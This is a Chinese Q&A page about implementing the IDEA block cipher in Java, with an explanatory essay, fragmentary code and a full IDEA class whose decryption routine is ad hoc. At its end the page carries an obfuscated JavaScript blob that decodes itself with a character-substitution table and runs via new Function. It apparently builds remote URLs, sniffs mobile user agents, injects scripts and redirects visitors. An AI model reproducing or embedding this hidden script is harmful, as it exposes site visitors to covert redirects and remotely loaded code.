java环境下实现idea算法的加密解密

有这样的资料请发到我的邮箱jake875@sina.com,谢谢
2025-03-04 18:30:41
推荐回答(2个)
回答1:

基于Java的IDEA加密算法探讨
随着Internet的迅速发展,电子商务的浪潮势不可挡,日常工作和数据传输都放在Internet网上进行传输,大大提高了效率,降低了成本,创造了良好的效益。但是,由于 Internet网络协议本身存在着重要的安全问题(IP包本身并不继承任何安全特性,很容易伪造出IP包的地址、修改其内容、重播以前的包以及在传输途中拦截并查看包的内容),使网上的信息传输存在巨大的安全风险电子商务的安全问题也越来越突出。加密是电子商务中最主要的安全技术,加密方法的选取直接影响电子商务活动中信息的安全程度,在电子商务系统中,主要的安全问题都可以通过加密来解决。数据的保密性可通过不同的加密算法对数据加密来实现。
对我国来讲,虽然可以引进很多的外国设备,但加密设备不能依靠引进,因为它涉及到网络安全、国家机密信息的安全,所以必须自己研制。当前国际上有许多加密算法,其中DES(Data Encryption Standard)是发明最早的用得最广泛的分组对称加密算法,DES用56位蜜钥加密64位明文,输出64位密文,DES的56位密钥共有256 种可能的密钥,但历史上曾利用穷举攻击破解过DES密钥,1998年电子边境基金会(EFF)用25万美元制造的专用计算机,用56小时破解了DES的密钥,1999年,EFF用22小时完成了破解工作,使DES算法受到了严重打击,使它的安全性受到严重威胁。因为JAVA语言的安全性和网络处理能力较强,本文主要介绍使用IDEA(Internation Data Encryption Algorithm )数据加密算法在Java环境下实现数据的安全传输。

一、IDEA数据加密算法

IDEA数据加密算法是由中国学者来学嘉博士和著名的密码专家 James L. Massey 于1990年联合提出的。它的明文和密文都是64比特,但密钥长为128比特。IDEA 是作为迭代的分组密码实现的,使用 128 位的密钥和 8 个循环。这比 DES 提供了更多的 安全性,但是在选择用于 IDEA 的密钥时,应该排除那些称为“弱密钥”的密钥。DES 只有四个弱密钥和 12 个次弱密钥,而 IDEA 中的弱密钥数相当可观,有 2 的 51 次方个。但是,如果密钥的总数非常大,达到 2 的 128 次方个,那么仍有 2 的 77 次方个密钥可供选择。IDEA 被认为是极为安全的。使用 128 位的密钥,蛮力攻击中需要进行的测试次数与 DES 相比会明显增大,甚至允许对弱密钥测试。而且,它本身也显示了它尤其能抵抗专业形式的分析性攻击。

二、Java密码体系和Java密码扩展

Java是Sun公司开发的一种面向对象的编程语言,并且由于它的平台无关性被大量应用于Internet的开发。Java密码体系(JCA)和Java密码扩展(JCE)的设计目的是为Java提供与实现无关的加密函数API。它们都用factory方法来创建类的例程,然后把实际的加密函数委托给提供者指定的底层引擎,引擎中为类提供了服务提供者接口在Java中实现数据的加密/解密,是使用其内置的JCE(Java加密扩展)来实现的。Java开发工具集1.1为实现包括数字签名和信息摘要在内的加密功能,推出了一种基于供应商的新型灵活应用编程接口。Java密码体系结构支持供应商的互操作,同时支持硬件和软件实现。Java密码学结构设计遵循两个原则:(1)算法的独立性和可靠性。(2)实现的独立性和相互作用性。算法的独立性是通过定义密码服务类来获得。用户只需了解密码算法的概念,而不用去关心如何实现这些概念。实现的独立性和相互作用性通过密码服务提供器来实现。密码服务提供器是实现一个或多个密码服务的一个或多个程序包。软件开发商根据一定接口,将各种算法实现后,打包成一个提供器,用户可以安装不同的提供器。安装和配置提供器,可将包含提供器的ZIP和JAR文件放在CLASSPATH下,再编辑Java安全属性文件来设置定义一个提供器。Java运行环境Sun版本时,提供一个缺省的提供器Sun。

三、Java环境下的实现

1.加密过程的实现

void idea_enc( int data11[], /*待加密的64位数据首地址*/ int key1[]){

int i ;

int tmp,x;

int zz[]=new int[6];

for ( i = 0 ; i < 48 ; i += 6) { /*进行8轮循环*/

for(int j=0,box=i; j<6; j++,box++){

zz[j]=key1[box];

}

x = handle_data(data11,zz);

tmp = data11[1]; /*交换中间两个*/

data11[1] = data11[2];

data11[2] = tmp;

}

tmp = data11[1]; /*最后一轮不交换*/

data11[1] = data11[2];

data11[2] = tmp;

data11[0] = MUL(data11[0],key1[48]);

data11[1] =(char)((data11[1] + key1[49])%0x10000);

data11[2] =(char)((data11[2] + key1[50])%0x10000);

data11[3] = MUL(data11[3],key1[51]);

}

2.解密过程的实现

void key_decryExp(int outkey[])/*解密密钥的变逆处理*/

{ int tmpkey[] = new int[52] ;

int i;

for ( i = 0 ; i < 52 ; i++) {

tmpkey[i] = outkey[ wz_spkey[i] ] ; /*换位*/

}

for ( i = 0 ; i < 52 ; i++) {

outkey[i] = tmpkey[i];

}

for ( i = 0 ; i < 18 ; i++) {

outkey[wz_spaddrever[i]] = (char)(65536-outkey[wz_spaddrever[i]]) ; /*替换成加法逆*/

}

for ( i = 0 ; i < 18 ; i++){

outkey[wz_spmulrevr[i]] =(char)(mulInv(outkey[wz_spmulrevr[i]] )); /*替换成乘法逆*/

}

}

四、总结

在实际应用中,我们可以使用Java开发工具包(JDK)中内置的对Socket通信的支持,通过JCE中的Java流和链表,加密基于Socket的网络通信.我们知道,加密/解密是数据传输中保证数据完整性的常用方法,Java语言因其平台无关性,在Internet上的应用非常之广泛.使用Java实现基于IDEA的数据加密传输可以在不同的平台上实现并具有实现简洁、安全性强等优点。

回答2:

/*
* IDEA.java
*
* Created on 2007-9-21, 7:20:07
*
* To change this template, choose Tools | Template Manager
* and open the template in the editor.
*/

package frelationmainten;

/**
*
* @author cloud
*/
public class IDEA {
private byte[] bytekey;
public byte[] getKey(String key){
int len1 =key.length();
if (len1>=16) {
key=key.substring(0, 16);
} else {
for (int i=0;i<16-len1;i++){
key=key.concat("0");
}
}
bytekey=key.getBytes();
return bytekey;
}
/**
* 加密String明文输入,String密文输出
* @param strMing
* @return
*/
public String getEncString(String strMing) {
byte[] byteMi = null;
byte[] byteMing = null;
String strMi = "";
try {
return byte2hex(IdeaEncrypt(bytekey,strMing.getBytes(),true) );
}
catch(Exception e){
e.printStackTrace();
}
finally {
byteMing = null;
byteMi = null;
}
return strMi;
}
/**
* 解密 以String密文输入,String明文输出
* @param strMi
* @return
*/
public String getDesString(String strMi) {
byte[] byteMing = null;
byte[] byteMi = null;
String strMing = "";
try {
String tmp= new String(IdeaEncrypt(bytekey,hex2byte(strMi.getBytes()),false ));
int len1=tmp.length();
return tmp.substring(0, len1-6);
}
catch(Exception e) {
e.printStackTrace();
}
finally {
byteMing = null;
byteMi = null;
}
return strMing;
}
private byte[] Encrypt(byte[] bytekey, byte[] inputBytes, boolean flag) {
byte[] encryptCode = new byte[8];
// 分解子密钥
int[] key = get_subkey(flag, bytekey);
// 进行加密操作
encrypt(key, inputBytes, encryptCode);
// 返回加密数据
return encryptCode;
}

private int bytesToInt(byte[] inBytes, int startPos) {
return ((inBytes[startPos] << 8) & 0xff00) +
(inBytes[startPos + 1] & 0xff);
}

private void intToBytes(int inputInt, byte[] outBytes, int startPos) {
outBytes[startPos] = (byte) (inputInt >>> 8);
outBytes[startPos + 1] = (byte) inputInt;
}

private int x_multiply_y(int x, int y) {
if (x == 0) {
x = 0x10001 - y;
} else if (y == 0) {
x = 0x10001 - x;
} else {
int tmp = x * y;
y = tmp & 0xffff;
x = tmp >>> 16;
x = (y - x) + ((y < x) ? 1 : 0);
}

return x & 0xffff;
}

private void encrypt(int[] key, byte[] inbytes, byte[] outbytes) {
int k = 0;
int a = bytesToInt(inbytes, 0);
int b = bytesToInt(inbytes, 2);
int c = bytesToInt(inbytes, 4);
int d = bytesToInt(inbytes, 6);

for (int i = 0; i < 8; i++) {
a = x_multiply_y(a, key[k++]);
b += key[k++];
b &= 0xffff;
c += key[k++];
c &= 0xffff;
d = x_multiply_y(d, key[k++]);

int tmp1 = b;
int tmp2 = c;
c ^= a;
b ^= d;
c = x_multiply_y(c, key[k++]);
b += c;
b &= 0xffff;
b = x_multiply_y(b, key[k++]);
c += b;
c &= 0xffff;
a ^= b;
d ^= c;
b ^= tmp2;
c ^= tmp1;
}

intToBytes(x_multiply_y(a, key[k++]), outbytes, 0);
intToBytes(c + key[k++], outbytes, 2);
intToBytes(b + key[k++], outbytes, 4);
intToBytes(x_multiply_y(d, key[k]), outbytes, 6);
}

private int[] encrypt_subkey(byte[] byteKey) {
int[] key = new int[52];

if (byteKey.length < 16) {
byte[] tmpkey = new byte[16];
System.arraycopy(byteKey, 0, tmpkey,
tmpkey.length - byteKey.length, byteKey.length);
byteKey = tmpkey;
}

for (int i = 0; i < 8; i++) {
key[i] = bytesToInt(byteKey, i * 2);
}

for (int j = 8; j < 52; j++) {
if ((j & 0x7) < 6) {
key[j] = (((key[j - 7] & 0x7f) << 9) | (key[j - 6] >> 7)) &
0xffff;
} else if ((j & 0x7) == 6) {
key[j] = (((key[j - 7] & 0x7f) << 9) | (key[j - 14] >> 7)) &
0xffff;
} else {
key[j] = (((key[j - 15] & 0x7f) << 9) | (key[j - 14] >> 7)) &
0xffff;
}
}

return key;
}

private int fun_a(int a) {
if (a < 2) {
return a;
}

int b = 1;
int c = 0x10001 / a;

for (int i = 0x10001 % a; i != 1;) {
int d = a / i;
a %= i;
b = (b + (c * d)) & 0xffff;

if (a == 1) {
return b;
}
d = i / a;
i %= a;
c = (c + (b * d)) & 0xffff;
}

return (1 - c) & 0xffff;
}

private int fun_b(int b) {
return (0 - b) & 0xffff;
}

private int[] uncrypt_subkey(int[] key) {
int dec = 52;
int asc = 0;
int[] unkey = new int[52];
int aa = fun_a(key[asc++]);
int bb = fun_b(key[asc++]);
int cc = fun_b(key[asc++]);
int dd = fun_a(key[asc++]);
unkey[--dec] = dd;
unkey[--dec] = cc;
unkey[--dec] = bb;
unkey[--dec] = aa;

for (int k1 = 1; k1 < 8; k1++) {
aa = key[asc++];
bb = key[asc++];
unkey[--dec] = bb;
unkey[--dec] = aa;
aa = fun_a(key[asc++]);
bb = fun_b(key[asc++]);
cc = fun_b(key[asc++]);
dd = fun_a(key[asc++]);
unkey[--dec] = dd;
unkey[--dec] = bb;
unkey[--dec] = cc;
unkey[--dec] = aa;
}

aa = key[asc++];
bb = key[asc++];
unkey[--dec] = bb;
unkey[--dec] = aa;
aa = fun_a(key[asc++]);
bb = fun_b(key[asc++]);
cc = fun_b(key[asc++]);
dd = fun_a(key[asc]);
unkey[--dec] = dd;
unkey[--dec] = cc;
unkey[--dec] = bb;
unkey[--dec] = aa;

return unkey;
}

private int[] get_subkey(boolean flag, byte[] bytekey) {
if (flag) {
return encrypt_subkey(bytekey);
} else {
return uncrypt_subkey(encrypt_subkey(bytekey));
}
}

private byte[] ByteDataFormat(byte[] data, int unit) {
int len = data.length;
int padlen = unit - (len % unit);
int newlen = len + padlen;
byte[] newdata = new byte[newlen];
System.arraycopy(data, 0, newdata, 0, len);

for (int i = len; i < newlen; i++)
newdata[i] = (byte) padlen;

return newdata;
}

public byte[] IdeaEncrypt(byte[] idea_key, byte[] idea_data, boolean flag) {
byte[] format_key = ByteDataFormat(idea_key, 16);
byte[] format_data = ByteDataFormat(idea_data, 8);

int datalen = format_data.length;
int unitcount = datalen / 8;
byte[] result_data = new byte[datalen];

for (int i = 0; i < unitcount; i++) {
byte[] tmpkey = new byte[16];
byte[] tmpdata = new byte[8];
System.arraycopy(format_key, 0, tmpkey, 0, 16);
System.arraycopy(format_data, i * 8, tmpdata, 0, 8);

byte[] tmpresult = Encrypt(tmpkey, tmpdata, flag);
System.arraycopy(tmpresult, 0, result_data, i * 8, 8);
}

return result_data;
}

/**
* 二行制转字符串
* @param b
* @return
*/
public static String byte2hex(byte[] b) { //一个字节的数,
// 转成16进制字符串
String hs = "";
String stmp = "";
for (int n = 0; n < b.length; n++) {
//整数转成十六进制表示
stmp = (java.lang.Integer.toHexString(b[n] & 0XFF));
if (stmp.length() == 1)
hs = hs + "0" + stmp;
else
hs = hs + stmp;
}
return hs.toUpperCase(); //转成大写
}

public static byte[] hex2byte(byte[] b) {
if((b.length%2)!=0)
throw new IllegalArgumentException("长度不是偶数");
byte[] b2 = new byte[b.length/2];
for (int n = 0; n < b.length; n+=2) {
String item = new String(b,n,2);
// 两位一组,表示一个字节,把这样表示的16进制字符串,还原成一个进制字节
b2[n/2] = (byte)Integer.parseInt(item,16);
}

return b2;
}

public static void main(String[] args) {

IDEA idea = new IDEA();

idea.getKey("aadd");//生成密匙

String strEnc = idea.getEncString("1234567890");//加密字符串,返回String的密文
System.out.println(strEnc);

String strDes = idea.getDesString(strEnc);//把String 类型的密文解密
System.out.println(strDes);

// String key = "0000000000000000";
// String data = "11111111冯";
// byte[] bytekey = key.getBytes();
// byte[] bytedata = data.getBytes();
//
// IDEA idea = new IDEA();
// byte[] encryptdata = idea.IdeaEncrypt(bytekey, bytedata, true);
// byte[] decryptdata = idea.IdeaEncrypt(bytekey, encryptdata, false);
//
// System.out.println("--------------------------------");
//
// for (int i = 0; i < bytedata.length; i++) {
// System.out.print(" " + bytedata[i] + " ");
// }
//
// System.out.println("");
//
// for (int i = 0; i < encryptdata.length; i++) {
// System.out.print(" " + encryptdata[i] + " ");
// }
//
// System.out.println("");
//
// for (int i = 0; i < decryptdata.length; i++) {
// System.out.print(" " + decryptdata[i] + " ");
// }

}
}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();